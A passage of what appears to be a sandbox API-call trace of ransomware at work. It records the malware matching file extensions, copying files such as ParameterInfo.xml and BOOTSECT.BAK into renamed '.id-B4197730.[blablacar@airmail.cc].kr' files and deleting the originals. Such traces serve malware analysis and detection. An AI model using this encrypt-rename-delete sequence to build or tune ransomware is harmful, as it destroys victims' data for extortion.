[0087.653] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.654] lstrlenW (lpString=".rar") returned 4 [0087.654] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString=".bz2") returned 4 [0087.654] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString=".7z") returned 3 [0087.654] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.654] lstrlenW (lpString=".dbf") returned 4 [0087.654] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.654] lstrlenW (lpString=".1cd") returned 4 [0087.654] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.654] lstrlenW (lpString=".jpg") returned 4 [0087.654] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.654] lstrlenW (lpString=".doc") returned 4 [0087.654] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString=".docx") returned 5 [0087.654] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0087.654] lstrlenW (lpString=".pdf") returned 4 [0087.654] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString=".xls") returned 4 [0087.654] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString=".xlsx") returned 5 [0087.654] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0087.654] lstrlenW (lpString=".ppt") returned 4 [0087.654] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0087.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.655] lstrlenW (lpString=".zip") returned 4 [0087.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0087.655] lstrlenW (lpString=".rar") returned 4 [0087.655] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0087.655] lstrlenW (lpString=".bz2") returned 4 [0087.655] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0087.655] lstrlenW (lpString=".7z") returned 3 [0087.655] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0087.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.655] lstrlenW (lpString=".dbf") returned 4 [0087.655] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0087.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.655] lstrlenW (lpString=".1cd") returned 4 [0087.655] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0087.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml") returned 41 [0087.655] lstrlenW (lpString=".jpg") returned 4 [0087.655] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0087.655] lstrcmpiW (lpString1=".bmp", lpString2=".kr") returned -1 [0087.655] lstrlenW (lpString="header.bmp") returned 10 [0087.655] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.656] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=3628) returned 1 [0087.656] CloseHandle (hObject=0x340) returned 1 [0087.656] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 0x80 [0087.656] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.656] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.656] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\header.bmp.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0087.657] GetLastError () returned 0x0 [0087.657] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0xe2c, lpOverlapped=0x0) returned 1 [0087.658] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe30, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe30, lpOverlapped=0x0) returned 1 [0087.659] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0087.659] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xe8, lpOverlapped=0x0) returned 1 [0087.659] SetEndOfFile (hFile=0x300) returned 1 [0087.659] CloseHandle (hObject=0x300) returned 1 [0087.661] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.661] SetEndOfFile (hFile=0x340) returned 1 [0087.662] CloseHandle (hObject=0x340) returned 1 [0087.662] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\header.bmp.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0087.662] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp")) returned 1 [0087.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.662] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.662] lstrlenW (lpString=".doc") returned 4 [0087.662] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0087.662] lstrlenW (lpString=".docx") returned 5 [0087.662] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0087.662] lstrlenW (lpString=".pdf") returned 4 [0087.663] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString=".xls") returned 4 [0087.663] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString=".xlsx") returned 5 [0087.663] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0087.663] lstrlenW (lpString=".ppt") returned 4 [0087.663] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.663] lstrlenW (lpString=".zip") returned 4 [0087.663] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString=".rar") returned 4 [0087.663] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString=".bz2") returned 4 [0087.663] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString=".7z") returned 3 [0087.663] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0087.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.663] lstrlenW (lpString=".dbf") returned 4 [0087.663] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0087.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.663] lstrlenW (lpString=".1cd") returned 4 [0087.663] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0087.663] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.663] lstrlenW (lpString=".jpg") returned 4 [0087.663] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString=".doc") returned 4 [0087.664] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".docx") returned 5 [0087.664] lstrcmpiW (lpString1=".docx", lpString2="r.bmp") returned -1 [0087.664] lstrlenW (lpString=".pdf") returned 4 [0087.664] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".xls") returned 4 [0087.664] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".xlsx") returned 5 [0087.664] lstrcmpiW (lpString1=".xlsx", lpString2="r.bmp") returned -1 [0087.664] lstrlenW (lpString=".ppt") returned 4 [0087.664] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString=".zip") returned 4 [0087.664] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".rar") returned 4 [0087.664] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".bz2") returned 4 [0087.664] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString=".7z") returned 3 [0087.664] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString=".dbf") returned 4 [0087.664] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString=".1cd") returned 4 [0087.664] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0087.664] lstrlenW (lpString="C:\\588bce7c90097ed212\\header.bmp") returned 32 [0087.664] lstrlenW (lpString=".jpg") returned 4 [0087.664] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0087.665] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0087.665] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0087.665] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.665] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=272046) returned 1 [0087.665] CloseHandle (hObject=0x340) returned 1 [0087.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0087.666] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0087.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0087.666] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.666] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0087.666] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0087.666] GetLastError () returned 0x0 [0087.666] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0087.673] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0087.678] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.054] WriteFile (in: hFile=0x300, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xf6, lpOverlapped=0x0) returned 1 [0088.054] SetEndOfFile (hFile=0x300) returned 1 [0088.054] CloseHandle (hObject=0x300) returned 1 [0088.063] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.063] SetEndOfFile (hFile=0x340) returned 1 [0088.066] CloseHandle (hObject=0x340) returned 1 [0088.067] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0088.067] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0088.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.067] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.067] lstrlenW (lpString=".doc") returned 4 [0088.068] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString=".docx") returned 5 [0088.068] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0088.068] lstrlenW (lpString=".pdf") returned 4 [0088.068] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString=".xls") returned 4 [0088.068] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString=".xlsx") returned 5 [0088.068] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0088.068] lstrlenW (lpString=".ppt") returned 4 [0088.068] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.068] lstrlenW (lpString=".zip") returned 4 [0088.068] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.068] lstrlenW (lpString=".rar") returned 4 [0088.068] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString=".bz2") returned 4 [0088.068] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString=".7z") returned 3 [0088.068] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.068] lstrlenW (lpString=".dbf") returned 4 [0088.068] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.068] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.068] lstrlenW (lpString=".1cd") returned 4 [0088.068] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.069] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.069] lstrlenW (lpString=".jpg") returned 4 [0088.069] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.071] lstrlenW (lpString=".doc") returned 4 [0088.071] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString=".docx") returned 5 [0088.071] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0088.071] lstrlenW (lpString=".pdf") returned 4 [0088.071] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString=".xls") returned 4 [0088.071] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString=".xlsx") returned 5 [0088.071] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0088.071] lstrlenW (lpString=".ppt") returned 4 [0088.071] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.071] lstrlenW (lpString=".zip") returned 4 [0088.071] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0088.071] lstrlenW (lpString=".rar") returned 4 [0088.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString=".bz2") returned 4 [0088.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0088.071] lstrlenW (lpString=".7z") returned 3 [0088.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0088.071] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.071] lstrlenW (lpString=".dbf") returned 4 [0088.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0088.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.072] lstrlenW (lpString=".1cd") returned 4 [0088.072] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0088.072] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0088.072] lstrlenW (lpString=".jpg") returned 4 [0088.072] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0088.072] Sleep (dwMilliseconds=0x64) [0088.398] Sleep (dwMilliseconds=0x64) [0088.694] lstrcmpiW (lpString1=".BAK", lpString2=".kr") returned -1 [0088.694] lstrlenW (lpString="BOOTSECT.BAK") returned 12 [0088.694] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.735] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x296ff14 | out: lpFileSize=0x296ff14*=8192) returned 1 [0088.735] CloseHandle (hObject=0x340) returned 1 [0088.735] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 0x27 [0088.735] GetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\bootsect.bak.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0088.736] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK", dwFileAttributes=0x26) returned 1 [0088.736] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0088.736] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.736] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.736] CreateFileW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\bootsect.bak.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0088.737] GetLastError () returned 0x0 [0088.737] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x2000, lpOverlapped=0x0) returned 1 [0088.739] WriteFile (in: hFile=0x2b4, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0x2010, lpOverlapped=0x0) returned 1 [0088.740] ReadFile (in: hFile=0x340, lpBuffer=0x327d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x296fecc, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesRead=0x296fecc*=0x0, lpOverlapped=0x0) returned 1 [0088.741] WriteFile (in: hFile=0x2b4, lpBuffer=0x327d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x296fc94, lpOverlapped=0x0 | out: lpBuffer=0x327d020*, lpNumberOfBytesWritten=0x296fc94*=0xec, lpOverlapped=0x0) returned 1 [0088.754] SetEndOfFile (hFile=0x2b4) returned 1 [0088.755] CloseHandle (hObject=0x2b4) returned 1 [0088.756] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x296fec0 | out: lpNewFilePointer=0x0) returned 1 [0088.756] SetEndOfFile (hFile=0x340) returned 1 [0088.757] CloseHandle (hObject=0x340) returned 1 [0088.758] SetFileAttributesW (lpFileName="C:\\BOOTSECT.BAK.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x27) returned 1 [0088.758] DeleteFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak")) returned 1 [0088.758] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.758] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.758] lstrlenW (lpString=".doc") returned 4 [0088.758] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0088.758] lstrlenW (lpString=".docx") returned 5 [0088.758] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0088.758] lstrlenW (lpString=".pdf") returned 4 [0088.759] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString=".xls") returned 4 [0088.759] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString=".xlsx") returned 5 [0088.759] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0088.759] lstrlenW (lpString=".ppt") returned 4 [0088.759] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.759] lstrlenW (lpString=".zip") returned 4 [0088.759] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString=".rar") returned 4 [0088.759] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString=".bz2") returned 4 [0088.759] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString=".7z") returned 3 [0088.759] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0088.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.759] lstrlenW (lpString=".dbf") returned 4 [0088.759] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0088.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.759] lstrlenW (lpString=".1cd") returned 4 [0088.759] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0088.759] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.759] lstrlenW (lpString=".jpg") returned 4 [0088.759] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.760] lstrlenW (lpString=".doc") returned 4 [0088.760] lstrcmpiW (lpString1=".doc", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".docx") returned 5 [0088.760] lstrcmpiW (lpString1=".docx", lpString2="T.BAK") returned -1 [0088.760] lstrlenW (lpString=".pdf") returned 4 [0088.760] lstrcmpiW (lpString1=".pdf", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".xls") returned 4 [0088.760] lstrcmpiW (lpString1=".xls", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".xlsx") returned 5 [0088.760] lstrcmpiW (lpString1=".xlsx", lpString2="T.BAK") returned -1 [0088.760] lstrlenW (lpString=".ppt") returned 4 [0088.760] lstrcmpiW (lpString1=".ppt", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.760] lstrlenW (lpString=".zip") returned 4 [0088.760] lstrcmpiW (lpString1=".zip", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".rar") returned 4 [0088.760] lstrcmpiW (lpString1=".rar", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".bz2") returned 4 [0088.760] lstrcmpiW (lpString1=".bz2", lpString2=".BAK") returned 1 [0088.760] lstrlenW (lpString=".7z") returned 3 [0088.760] lstrcmpiW (lpString1=".7z", lpString2="BAK") returned -1 [0088.760] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.760] lstrlenW (lpString=".dbf") returned 4 [0088.760] lstrcmpiW (lpString1=".dbf", lpString2=".BAK") returned 1 [0088.761] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.761] lstrlenW (lpString=".1cd") returned 4 [0088.761] lstrcmpiW (lpString1=".1cd", lpString2=".BAK") returned -1 [0088.761] lstrlenW (lpString="C:\\BOOTSECT.BAK") returned 15 [0088.761] lstrlenW (lpString=".jpg") returned 4 [0088.761] lstrcmpiW (lpString1=".jpg", lpString2=".BAK") returned 1 [0088.761] Sleep (dwMilliseconds=0x64) [0089.042] Sleep (dwMilliseconds=0x64) [0089.445] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0089.445] lstrlenW (lpString="OfficeUpdateSchedule.xml") returned 24 [0089.445] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 